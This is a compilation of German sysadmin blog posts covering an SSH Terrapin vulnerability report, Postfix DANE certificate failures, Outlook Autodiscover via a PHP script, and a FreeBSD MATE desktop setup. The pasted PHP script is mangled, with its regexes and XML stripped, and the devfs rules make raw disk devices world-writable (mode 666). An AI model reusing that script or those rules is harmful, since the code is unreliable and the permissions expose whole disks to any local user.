(nfo) Be aware that, while this target properly supports the strict key exchange method (via the kex-strict-?-v00@openssh.com marker) needed to protect against the Terrapin vulnerability (CVE-2023-48795), all peers must also support this feature as well, otherwise the vulnerability will still be present.  The following algorithms would allow an unpatched peer to create vulnerable SSH channels with this target: chacha20-poly1305@openssh.com.  If any CBC ciphers are in this list, you may remove them while leaving the *-etm@openssh.com MACs in place; these MACs are fine while paired with non-CBC cipher types.

```

Joar, das sieht tatsächlich nicht ganz so optimal aus. Ein Hinweis darauf ist also nicht unberechtigt. Ich habe dem Finder also freundlich und dankbar geantwortet, aber auch darauf hingewiesen, dass das System nicht zu meiner Infrastruktur gehört. Zusätzlich habe ich ihm die relevanten Whois-Informationen zur IPv4 des angegebenen Hosts mitgeschickt.

Seine Antwort hat nicht lange auf sich warten lassen:

```
Thank you for your answer.Let me know if you need anything else from mysideI hope this type of hard efforts deserves something reward
```

Hm… *„hard efforts“*. Ich will das jetzt nicht schlechtreden. Wäre der Hinweis im beruflichen Umfeld angekommen, hätte ich mich vielleicht sogar für eine Kleinigkeit stark gemacht. Aber da es hier nur um meine private Infrastr

[... Artikel gekürzt. Vollständiger Inhalt unter: https://www.kernel-error.de/2025/02/17/sicherheitsluecken-melden-mein-umgang-mit-einem-vulnerability-report/ ...]

---

## 26. Postfix: Serverzertifikat nicht verifiziert – Fehlerbehebung

**Veröffentlicht:** 2015-02-02
**Permalink:** https://www.kernel-error.de/2015/02/02/postfix-server-certificate-not-verified/

Da bekomme ich doch gerade eine E-Mail zurück mit der Begründung:*
*

```
Reporting-MTA: dns; smtp.kernel-error.de
X-Postfix-Queue-ID: 30E4E7461347
X-Postfix-Sender: rfc822; kernel-error@kernel-error.com
Arrival-Date: Wed, 28 Jan 2015 11:50:00 +0100 (CET)

Final-Recipient: rfc822; mailer@domain.tld
Original-Recipient: rfc822;mailer@domain.tld
Action: failed
Status: 4.7.5
Diagnostic-Code: X-Postfix; Server certificate not verified
```

Dazu passend findet sich im Postfix Logfile folgendes:

```
Feb  2 12:15:21 postfix/smtp[1520]: Trusted TLS connection established to domain.tld[2001:1111:1:1111::1]:25: TLSv1.2 with cipher ECDHE-RSA-AES256-GCM-SHA384 (256/256 bits)
Feb  2 12:15:21 postfix/smtp[1520]: 30E4E7461347: Server certificate not verified
Feb  2 12:15:22 postfix/smtp[1520]: Trusted TLS connection established to domain.tld[1.2.3.4]:25: TLSv1.2 with cipher ECDHE-RSA-AES256-GCM-SHA384 (256/256 bits)
Feb  2 12:15:22 postfix/smtp[1520]: 30E4E7461347: to=, relay=domain.tld[1.2.3.4]:25, delay=433522, delays=433521/0.09/0.63/0, dsn=4.7.5, status=deferred (Server certificate not verified)
```

Na? Schon eine Idee? Erst soll die TLS Verbindung trusted sein und dann doch wieder nicht? Ganz einfach 🙂 Es ist DANE…. Postfix würde ja selbst eine E-Mail zustellen, wenn er das Zertifikat nicht prüfen könnte. Hat der Empfänger aber einen TLSA-Record für sein Mailserver Zertifikat veröffentlicht und Postfix prüft dieses mit negativem Ergebnis, dann kann man wohl davon ausgehen, dass da etwas nicht stimmt. Entweder der Empfänger hat ein Problem mit seiner Konfiguration oder es versucht sich gerade jemand „dazwischen“ zu drängen.

Weiter prüfen konnte ich es mit posttls-finger:

```
$ posttls-finger -t30 -T180 -c -L verbose,summary domain.tld
posttls-finger: initializing the client-side TLS engine
posttls-finger: using DANE RR: _25._tcp.domain.tld IN TLSA 3 0 1 B3:E7:94:4A:CE:14:0D:CE:53:08:C6:D8:A5:D3:8C:EE:DD:94:FC:8A:B4:DD:8E:DD:DD:DD:DD:DD:DD:DD:DD:DD
posttls-finger: setting up TLS connection to domain.tld[2001:1111:1:1111::1]:25
posttls-finger: domain.tld[2001:1111:1:1111::1]:25: TLS cipher list "aNULL:-aNULL:ALL:!EXPORT:!LOW:+RC4:@STRENGTH:!aNULL"
posttls-finger: domain.tld[2001:1111:1:1111::1]:25: depth=1 verify=0 subject=/C=IL/O=StartCom Ltd./OU=Secure Digital Certificate Signing/CN=StartCom Class 1 Primary Intermediate Server CA
posttls-finger: domain.tld[2001:1111:1:1111::1]:25: depth=1 verify=0 subject=/C=IL/O=StartCom Ltd./OU=Secure Digital Certificate Signing/CN=StartCom Class 1 Primary Intermediate Server CA
posttls-finger: domain.tld[2001:1111:1:1111::1]:25: depth=0 verify=1 subject=/C=DE/CN=www.domain.tld/emailAddress=hostmaster@domain.tld
posttls-finger: domain.tld[2001:1111:1:1111::1]:25: subject_CN=www.domain.tld, issuer_CN=StartCom Class 1 Primary Intermediate Server CA, fingerprint=65:76:45:E3:50:1A:54:5D:BE:30:8F:DD:DD:DD:DD:DD:DD:DD:DD:DD, pkey_fingerprint=63:53:F8:60:76:8D:01:E8:57:93:EA:3C:DD:DD:DD:DD:DD:DD:DD:DD
posttls-finger: Untrusted TLS connection established to domain.tld[2001:1111:1:1111::1]:25: TLSv1.2 with cipher ECDHE-RSA-AES256-GCM-SHA384 (256/256 bits)
```

Passt also wirklich nicht… Gleicher Test auf verschiedenen Systemen, gleiches Ergebnis. Ebenfalls die einschlägigen Webseiten bringen diese Meldung ([https://de.ssl-tools.net/mailservers/](https://de.ssl-tools.net/mailservers/)).

Ich muss zugeben, ist eine Premiere für mich. Also ein wirklich echt fehlgeschlagener DANE Test von Postfix, welcher die Mailzustellung verhindert hat. Natürlich hat postfix nicht nach dem ersten Versuch aufgegben, diese Prüfung führt zu einem temporären Fehler der 4xx Reihe. Postfix versucht es also ein paar Tage. In meinem Fall hat also alles genau so funktioniert, wie ich es mir gewünscht habe. Postfix testet die TLSA-Records, bemerkt einen Fehler, logt diese und probiert es noch einmal. Der Fehler bestand dauerhaft und Postfix gab mir die Mail zurück, mit der Info das etwas mit dem Zertifikat des Empfängers nicht stimmt. Das hat Postfix wirklich gut gemacht *tätschel*

So long…

---

## 27. Outlook Autodiscover für IMAP/SMTP: Automatische Kontoeinrichtung​

**Veröffentlicht:** 2013-01-04
**Permalink:** https://www.kernel-error.de/2013/01/04/microsoft-office-outlook-autodiscover/

Benutzer sind, wie der Name schon treffend beschreibt, Menschen welche etwas benutzen. Dieses bedeutet nicht dass sie es verstehen oder gar „montieren“ können. Sie möchten es einfach nur benutzen und dieses sollen sie auch.

Betreibt man einen Mailserver und verteilt Postfächer an seine Benutzer, kommt man extrem schnell an den Punkt dass die Benutzer ihre Postfächer nutzen wollen 😛 Sie möchten ihr neues Postfach in ihren E-Mail Client (wir sagen MUA) einbinden. Nur wie?!?

Ja klar nun kann man bebilderte Anleitungen oder besser noch Anleitungsvideos anfertigen und diese seinen Benutzer zugänglich machen. Sehr oft muss denn noch am Ende jemand das Postfach einbinden oder es wird nach einer Fehlerdiagnose festgestellt dass der Benutzer keine E-Mails versenden kann, weil er sich nicht am Postausgangsserver anmeldet. Einfacher wäre es doch, wenn sich der MUA selbst konfigurieren würde, oder? ADS Mitglieder welche von einem Exchangeserver bedient werden, kennen die Luxusversion… Kunden der großen Freemailer wie GMX, Google, Yahoo usw. kennen es ebenso. Diese geben in ihrem MUA nämlich maximal 3 Dinge an. Ihren Namen, E-Mail Adresse und das Kennwort. Also alles Dinge die ein normaler Benutzer angeben können sollte.

Wie läuft diese automatische Konfiguration nun bei Microsoft Outlook ab? Nun, da es eine ganze Latte an Möglichkeiten gibt Outlook die Konfiguration unter zu schieben, fragt Outlook diese ganz brav der Reihe nach ab. Bekommt er von einer der Stellen eine Konfiguration probiert Outlook diese aus. Klappt alles, ist die Einrichtung fertig, klappt etwas nicht, geht es in der Liste weiter. Ich fasse mal kurz zusammen:

1 – Ist der Computer Mitglied einer Domäne, wird die E-Mail Adresse vom Active Directory abgerufen.

2 – Der DNS Name des Exchangeservers wird abgerufen.

3 – SCP (Service Connection Point) Suche und Suche nach dem passenden AutoConfig Servers. Dann mit diesen Daten eine Verbindung herstellen. Fertig….

4 – Klappt dieses nicht, wird versucht im DNS einige Domainnamen aufzulösen und dort nach einer autodiscover.xml XML-Datei gesucht.
Gesucht wird dabei hier:
a. https://ads-domäne/autodiscover/autodiscover.xml
b. https://autodiscover.example.org/autodiscover/autodiscover.xml
c. http://autodiscover.ads-domäne/autodiscover.xml
d. DNS SRV-RECORD: _autodiscover._tcp.ads-domäne/examle.org

5 – Klappt dieses auch nicht, wird versucht auf dem Rechner eine XML Datei zu finden.

6 – Klappt dieses wieder nicht, es aber ein Exchange Server (Punkt 2) gefunden wurde, wird der manuelle Konfigurations-Wizard  für Exchangeserver aufgerufen.

7 – Wurde kein Exchange Server gefunden dann wir der einfache Konfigurations-Wizard aufgerufen.

Möchte man nun seinen Outlook Client automatisch alle nötigen Einstellungen für die Konfiguration seines Postfix / Dovecot-IMAP Servers finden lassen, klappt dieses wie folgt:

Wir haken einfach an punkt 4-b. ein. Wir sorgen also dafür dass es den Domainnamen autodiscover.example.org gibt oder halt ein passender *SRV-RECORD* vorhanden ist und dass dieser auf einen Webserver zeigt, welcher sich zuständig fühlt. Wenn wir nun noch dafür sorgen dass Outlook dort auch die XML-Datei *autodiscover/autodiscover.xml* abrufen kann sind wir schon ganz weit vorne 🙂

Zu beachten ist aber dass Outlook die Konfigurationsdatei nur dann abruft, wenn diese per https (SSL) zugänglich ist. Beim SRV-RECORD muss man wissen dass Outlook es als „Umleitung“ behandelt. Beim SRV-RECORD und bei allen anderen Umleitungen wird Outlook also ein kleines Fenster öffnen und den Benutzer fragen ob er wirklich dieser Umleitung zur Konfiguration folgen will oder nicht. Ist das SSL-Zertifikat für Outlook nicht gültig, wirft Outlook natürlich ebenfalls Meldungen raus.

Angenommen wir haben also die E-Mail Adresse: test@example.org

Outlook wird geöffnet, der Wizard geht auf und Fragt was für ein Konto wir einrichten wollen. Dann würfelt der Benutzer seinen Namen, seine E-Mail Adresse ([test@example.org](mailto:test@example.org)) und sein Kennwort in den Wizard. Nun geht Outlook seine Testliste durch und sieht das es die Domain: autodiscover.example.org (japp hier greift Outlook immer auf den Domainteil der E-Mail Adresse zurück) gibt. Nun macht Outlook einen HTTP/HTTPS-POST an die Adresse [https://autodiscover.example.org/autodiscover/autodiscover.xml](https://autodiscover.example.org/autodiscover/autodiscover.xml) in diesem Post übermittelt Outlook unter anderem die vom Benutzer eingegebene E-Mail Adresse (das wird uns später noch helfen!). Als HTTPS Antwort erwartet Outlook nun die autodiscover.xml mit der zu nutzenden Konfiguration.

Alles geil, oder? Na ja fast… Outlook wird nämlich als Anmeldename per Default den Teil der E-Mail Adresse vor dem @ nutzen. In diesem Fall also test. Müssen sich Benutzer mit der kompletten E-Mail Adresse anmelden, hat man nun ein Problem. Es gibt in der XML Beschreibung zwar die Möglichkeit einen <LoginName> zu setzten. Dieser wäre aber statisch. Sprich man kann hier nicht einfach eine Variable wie %e-mailadresse% einsetzten. Nun können wir uns denn noch den POST zunutze machen. Denn hier wird dem Webserver ja die E-Mailadresse (also der Benutzername) mitgeteilt. Ein ***php://input*** könnte also die Welt retten.

Jaaaa nun klingelt es schon bei einigen, richtig? Genau… Die Datei: *autodiscover/autodiscover.xml* ist in Wirklichkeit die Datei: *autodiscover/autodiscover.xml.php*. In der Konfiguration des *VirtualHosts* im Apache wird nur ein Alias gesetzt: *Alias /autodiscover/autodiscover.xml /var/www/autodiscover/htdocs/autodiscover.php* Damit unser Apache bei der Outlookfrage nach autodiscover.xml bei einem PHP-Script landet. Dieses fischt alle nötigen Informationen ab und bereitet sie entsprechend für Outlook auf.

Perfekte Arbeit für dieses Script hat bereits David Ramsden geleistet. Sein Original ist hier zu finden: [http://0wned.it/geek-bits/scripts/open-source-autodiscover-implementation-in-php/](http://0wned.it/geek-bits/scripts/open-source-autodiscover-implementation-in-php/)

Ich habe sein Script nur für meine Zwecke etwas angepasst.

[>>Meine XML-Autodiscover Konfigurationsdatei<<](https://www.kernel-error.de/wp-content/uploads/2013/01/autodiscover-php.txt)

Ich hoffe dieses kann dem einen oder anderen etwas helfen diesen AutoErmittlungsdienst zu verstehen. Bei Fragen, einfach eine E-Mail schicken 🙂

So nebenbei… Der Microsoft Lync 2013 Client sammelt über den A-RECORD autodiscover.example.org den Weg zum Exchangeserver ein. So kommt dieser auch an die Interne EWS-URL und die Externe EWS-URL.

Der Lync Client benötigt also für jede SMTP-Domäne zwei DNS RECORDS:

```
autodiscover IN CNAME exchangeserver.example.org.
_autodiscover._tcp IN SRV 0 0 443 exchangeserver.example.org.
```

Ich muss beim Thema Microsoft Lync aber die Hände heben. Ich kenne hier aber jemanden an den ich Anfragen weiterleiten könnte 🙂

Mangels freier IPv4 Adressen, ist [https://autodiscover.kernel-error.de/autodiscover/autodiscover.xml](https://autodiscover.kernel-error.de/autodiscover/autodiscover.xml) aktuell nur per IPv6 erreichbar. Sicher kein Problem für euch, oder? 😀

Zertifikat angepasst und per SNI passen eingebunden. So alte Clients haben dann also Pech! 😀 Als kleine Tipp für die eigenen Tests, ein kleines Tool von Microsoft selbst:

https://testconnectivity.microsoft.com

Dort müsste der* Exchange ActiveSync Autodiscover* alle eure Wünsche erfüllen können!

Auf mehrfachen Wunsch, hier nun noch einmal die autodiscover.php als copy & paste Version:

```

                ServerName autodiscover.domain.com
                ServerAdmin webmaster@domain.com
 
                SSLEngine on
                SSLCertificateFile      /etc/apache/ssl/certs/apache.domain.com.crt
                SSLCertificateKeyFile   /etc/apache/ssl/private/apache.domain.com.key
 
                # Force all requests to lowercase. Different MUAs, mobile devices etc
                # request the Autodiscover URL in different cases.
                RewriteEngine On
                RewriteMap lc int:tolower
                RewriteCond %{REQUEST_URI} [A-Z]
                RewriteRule (.*) ${lc:$1} [R=301,L]
 
                DocumentRoot /var/www/autodiscover/htdocs
                
                        Options +FollowSymLinks -Indexes
                        AllowOverride Options Indexes Limit FileInfo AuthConfig
                
 
                 Alias /autodiscover/autodiscover.xml /var/www/autodiscover/htdocs/autodiscover.php
 
                ErrorLog /var/www/autodiscover/logs/error.log
                CustomLog /var/www/autodiscover/logs/access.log combined
        
 
 
------------------------------------------------------------------------------
  Copyright (C) 2011 David Ramsden
 
  This software is provided 'as-is', without any express or implied
  warranty.  In no event will the authors be held liable for any damages
  arising from the use of this software.
 
  Permission is granted to anyone to use this software for any purpose,
  including commercial applications, and to alter it and redistribute it
  freely, subject to the following restrictions:
 
  1. The origin of this software must not be misrepresented; you must not
     claim that you wrote the original software. If you use this software
     in a product, an acknowledgment in the product documentation would be
     appreciated but is not required.
  2. Altered source versions must be plainly marked as such, and must not be
     misrepresented as being the original software.
  3. This notice may not be removed or altered from any source distribution.
 
  David Ramsden david {at} 0wned {dot} it
------------------------------------------------------------------------------
*/
// For other supported protocols and more protocol settings, see:
//  http://technet.microsoft.com/en-us/library/cc511507.aspx
 
// Get contents of request made to Autodiscover.
$request = file_get_contents("php://input");
preg_match("/\(.*?)\/", $request, $email_address);

 
/*** Begin Configuration ***/
// ActiveSync URL.
$_CONFIG['MobileSync']['Url'] = "https://www.kernel-error.de/Microsoft-Server-ActiveSync";

 
// IMAP configuration settings.
$_CONFIG['IMAP']['Server'] = "imap.kernel-error.de";
$_CONFIG['IMAP']['Port'] = "993";
$_CONFIG['IMAP']['SSL'] = "on";
$_CONFIG['IMAP']['SPA'] = "off";
$_CONFIG['IMAP']['AuthRequired'] = "on";
$_CONFIG['IMAP']['LoginName'] = $email_address[1];
 
// SMTP configuration settings.
$_CONFIG['SMTP']['Server'] = "smtp.kernel-error.de";
$_CONFIG['SMTP']['Port'] = "465";
$_CONFIG['SMTP']['SSL'] = "on";
$_CONFIG['SMTP']['SPA'] = "off";
$_CONFIG['SMTP']['AuthRequired'] = "on";
$_CONFIG['SMTP']['LoginName'] = $email_address[1];
/*** End Configuration ***/
 

 
// XML document heading.
header("Content-Type: text/xml");
echo "\n";
 
// Get the schema from the request.
preg_match("/\(.*?)\/", $request, $schema);
// Determine the type of device requesting Autodiscover.
if (preg_match("/\/mobilesync\//", $schema[1]))
{
        // Mobile device.
        preg_match("/\(.*?)\/", $request, $email_address);
        ?>
                
                        ">
                                en:en
                                
                                        
                                        
                                
                                
                                        
                                                
                                                        MobileSync
                                                        
                                                        
                                                
                                        
                                
                        
                
        
                
                        ">
                                
                                        email
                                        settings
                                
      

[... Artikel gekürzt. Vollständiger Inhalt unter: https://www.kernel-error.de/2013/01/04/microsoft-office-outlook-autodiscover/ ...]

---

## 28. FreeBSD auf dem Desktop: Grundinstallation mit MATE Desktop

**Veröffentlicht:** 2016-05-17
**Permalink:** https://www.kernel-error.de/2016/05/17/freebsd-auf-dem-desktop-grundinstallation-mate/

Ja, meine Posts schlafen in der letzten Zeit etwas 🙁

Um wieder etwas zu schreiben und auch ein paar Wünschen entgegen zu kommen, hier nun etwas zu FreeBSD auf dem Desktop. Das Windows und MAC Benutzer immer etwas irritiert auf die fertige Grundinstallation von einem FreeBSD schauen wundert sicher nicht. Linux Benutzer schauen aber oft ebenfalls etwas „überrascht“….

FreeBSD als Serversystem, damit können sich Linuxuser ja noch einlassen…. Aber als Desktop? Dinge wie VPN, LAN oder WLAN plötzlich wieder selbst konfigurieren müssen… Oder dem Benutzer erst die Rechte zu geben um eine CD brennen zu können, das kennen auch Linuxuser kaum noch. In dieser usability hängt FreeBSD auch noch ein paar Jahre hinter Linux. Nun kann man sich darüber streiten! 2016 sollten bestimmte Dinge einfach gegeben sein. Ich persönlich empfinde es aber als sehr angenehm. Früher habe ich lange mit einem Opensolaris auf dem Desktop gearbeitet. Dieses ist inzwischen leider vollständig von FreeBSD verdrängt worden. Opensolaris ist einfach inzwischen ZU weit weg um auf einem Desktop sinnvoll betrieben zu werden 🙁

Ein FreeBSD bietet mir noch immer das gute alte Unixgefühl, ich habe direkt ein sauberes ZFS unter den Füßen und die für mich wichtigen Anwendungen laufen alle sauber und Problemlos unter FreeBSD und mit so einem Ubuntu bin ich noch nie richtig warm geworden. Ich würde selbst bei einem Linuxdesktop am Ende wieder bei einem Gentoo oder ähnlichem landen.

[Bild: Screenshot vom FreeBSD Desktop]

Es sollte aber um die Grundinstallation gehen, nein nicht mit Screenshots bis zum Login…. Ich meine eher den Punkt zwischen der fertigen FreeBSD 10.3 Installation und einem grafischen Desktop.

Der grafische Desktop soll am Ende deutsch sprechen, ein Mate sein, Firefox, Pidgin, Evolution und VLC bieten, sowie einen grafischen Login per SLIM. Also eine ordentliche Startbasis um FreeBSD einmal auf dem Desktop probieren zu können. Oh.. Wer es noch einfacher möchte kann ebenso auf PCBSD zurückgreifen. Ein wunderbares Projekt (viele der deutschen Übersetzungen sind von mir *lach*)! Um mehr mit FreeBSD zu machen dennoch nicht der perfekte Start. Es ist nicht immer SO stabil wie ich es erwarten würde und nimmt dem User dann doch etwas zu viel ab. Kommt den Erwartungen von Linuxusern dafür sehr nahe!

Zurück zum Thema..

Ist die Grundinstallation vom FreeBSD erledigt, hängt man auf dem root Login in der Konsole. Wenn ich nun von einer funktionstüchtigen Internetverbindung ausgehe, bringt einen folgendes zu einem Desktop:

```
root@errorlap:~ # pkg install mate-desktop mate xorg pidgin evolution firefox libreoffice-i18n de-aspell de-hunspell gimp cups cups-pdf gutenprint-cups icedtea-web openjdk8 xchat cream sudo
```

Als erstes wird FreeBSD versuchen sich den aktuellen Quellenstand aus dem Internet zu holen. Im Anschluss wird es beginnen die nötigen Pakte zu laden und zu installieren. Die Zeile ist dabei selbsterklärend, oder?

Ist die Installation durch müssen ein paar Einstellungen vorgenommen werden!

Mit dem *vi* füttert man nun die Datei* /etc/rc.conf* mit folgenden Informationen:

```
# Use German (ISO8859-15) console fonts
font8x8="iso15-8x8"
font8x14="iso15-8x14"
font8x16="iso15-8x16"

#dbus and hald for our Desktop
dbus_enable="YES"
hald_enable="YES"

#Activate slim
slim_enable="YES"

# Disable line printer daemon
lpd_enable="NO"

# Enable CUPS
cupsd_enable="YES"

# Clean temporary files.
clear_tmp_enable="YES"
clean_tmp_X="YES"

#activate new devfsrules
devfs_system_ruleset="devfsrules_common"
```

Ich gehe es mal der Reihe nach durch. Da* keymap=“german.iso.kbd“* bereits in der* rc.conf* gesetzt sein sollte fehlen nur noch die richtigen Schriftarten in der Konsole um alles passen darstellen zu können. Dbus und hald sorgt dafür das unser Desktop am Ende mit allem so wunderbar sprechen kann. Damit slim auch beim Boot gestartet wird muss es aktiviert werden. Drucken wollen wir über cups und zur Sicherheit deaktivieren wir die Konkurrenz. Desktops müllen immer alles gerne voll, temp aufräumen kann da helfen. Um mit unserem Benutzer auf verschiedene Hardware zugreifen zu können, muss er die Rechte bekommen. Dieses wird später über erweiterte devfsrules gesetzt. Damit diese angewendet werden, muss es aktiviert werden!

Wir wollen später deutsch sprechen am einfachsten lässt sich dieses den einzelnen Logins mitgeben, wenn diese Information einfach angepasst für den einzelnen Benutzer mitgegeben wird. Unter FreeBSD legt in der /etc/login.conf Verschiedene „Logingruppen“ an und weißt diese dann später den jeweiligen Benutzern zu, wenn sie greifen sollen.

```
german|German Users Accounts:\
      :charset=UTF-8:\
      :lang=de_DE.UTF-8:\
      :tc=default:
```

Diese Änderung muss dem System noch bekannt gemacht werden:

```
root@errorlap:~ # cap_mkdb /etc/login.conf
```

Dem jeweiligen Benutzer kann man es nun einfach per *vipw* zuweisen:

```
kernel:supertoller-pw-hash:1001:1001:german:0:0:Sebastian van de Meer:/home/kernel:/usr/local/bin/fish
```

Wie zu erkenne ist, nutzt ich als shell derzeit gerne fish! Solltet ihr ebenfalls mal ausprobieren. Ich mag sie 🙂

xorg soll am Ende ebenfalls eine deutsche Tastatur anbieten, also bitte folgende Datei erstellen:

*/usr/local/etc/X11/xorg.conf.d/keyboard-de-nodeadkeys.conf*

```
Section "InputClass"
	Identifier	"KeyboardDefaults"
	Driver		"keyboard"
	MatchIsKeyboard	"on"
	Option		"XkbLayout" "de"
	Option		"XkbVariant" "nodeadkeys"
EndSection
```

Was fehlt noch? Oh ja, Benutzerrechte für die Hardware:

*/etc/devfs.rules*

```
[devfsrules_common=7]
add path 'ad[0-9]\*'		mode 666
add path 'ada[0-9]\*'	mode 666
add path 'da[0-9]\*'		mode 666
add path 'acd[0-9]\*'	mode 666
add path 'cd[0-9]\*'		mode 666
add path 'mmcsd[0-9]\*'	mode 666
add path 'pass[0-9]\*'	mode 666
add path 'xpt[0-9]\*'	mode 666
add path 'ugen[0-9]\*'	mode 666
add path 'usbctl'		mode 666
add path 'usb/\*'		mode 666
add path 'lpt[0-9]\*'	mode 666
add path 'ulpt[0-9]\*'	mode 666
add path 'unlpt[0-9]\*'	mode 666
add path 'fd[0-9]\*'		mode 666
add path 'uscan[0-9]\*'	mode 666
add path 'video[0-9]\*'	mode 666
add path 'tuner[0-9]*'  mode 666
add path 'dvb/\*'		mode 666
add path 'cx88*' mode 0660
add path 'cx23885*' mode 0660 # CX23885-family stream configuration device
add path 'iicdev*' mode 0660
add path 'uvisor[0-9]*' mode 0660
```

Ebenfalls verständlich und logisch, richtig? Japp 😀

Wie unter Linux sollte der Benutzer in der Gruppe wheel sein um per *su* zum root wechseln zu können (nur falls mal jemand sucht..). Ebenfalls haben wir zwar sudo installiert, der Benutzer sollte aber noch per *visudo* die Möglichkeit bekommen es zu benutzen:

```
##
## User privilege specification
## 
root ALL=(ALL) ALL
kernel ALL=(ALL) ALL
```

```
root@errorlap:~ # pw groupmod wheel -m kernel
```

Im Grunde sollte es damit schon einen nutzbaren Desktop geben. Wer noch weitergehen möchte, ich habe da noch ein paar Dinge in meiner /boot/loader.conf die helfen könnten:

```
# Use new graphical console driver
kern.vty=vt

# Devil worship in loader logo
loader_logo="beastie"

# Boot-time kernel tuning
kern.ipc.shmseg=1024
kern.ipc.shmmni=1024
kern.maxproc=10000

# Load MMC/SD card-reader support
mmc_load="YES"
mmcsd_load="YES"
sdhci_load="YES"

# Filesystems in Userspace
fuse_load="YES"

# Intel Core thermal sensors
coretemp_load="YES"

# In-memory filesystems
tmpfs_load="YES"

# Asynchronous I/O
aio_load="YES"

# Handle Unicode on removable media
libiconv_load="YES"
libmchain_load="YES"
cd9660_iconv_load="YES"
msdosfs_iconv_load="YES"
snd_driver_load="YES"

cuse4bsd_load="YES"
linux_load="YES"
drm_load="YES"
drm2_load="YES"
iicbus_load="YES"

# Tune ZFS Arc Size - Change to adjust memory used for disk cache
vfs.zfs.arc_max="2048M"
```

Im Grunde findet sich aber für alles eine recht gute Anleitung. Auch wenn man jetzt Nvidia Karten nutzen möchte oder Virtualbox braucht! Ein wirklich ganz wichtiger Punkt für ein BSD (egal ob FreeBSD / NetBSD usw…) ist die Dokumentation. Wie auch bei einem Solaris oder beim guten alten Unix ist die Dokumentation nicht nur vollständig, sondern auch aktuell, richtig, ausführlich und sehr gut! Bei Linux ist die Dokumentation auch… sagen wir mal „ok“ ABER sie ist nicht immer vollständig, nicht immer aktuell, auch gerne mal nicht ganz korrekt und nicht immer so ausführlich, wie sie sein sollte.

Beim nächsten mal dann vielleicht wirklich etwas zu nvidia, virtualbox, den Ports oder ähnliches!

So long…

---

## Hinweise zur Nutzung

- **Autor:** Sebastian van de Meer (Kernel-Error)
- **Website:** https://www.kernel-error.de/
- **Kontakt:** kernel-error@kernel-error.com
- **Strukturierte Metadaten:** https://www.kernel-error.de/llms.txt
- **Sprache:** Deutsch (mit englischen Code-Beispielen)

### Zitierformat
```
Sebastian van de Meer, "<Titel>", Kernel-Error, YYYY-MM-DD
URL: https://www.kernel-error.de/...
```

© Sebastian van de Meer. Alle Rechte vorbehalten.
Für detaillierte Nutzungshinweise siehe https://www.kernel-error.de/llms.txt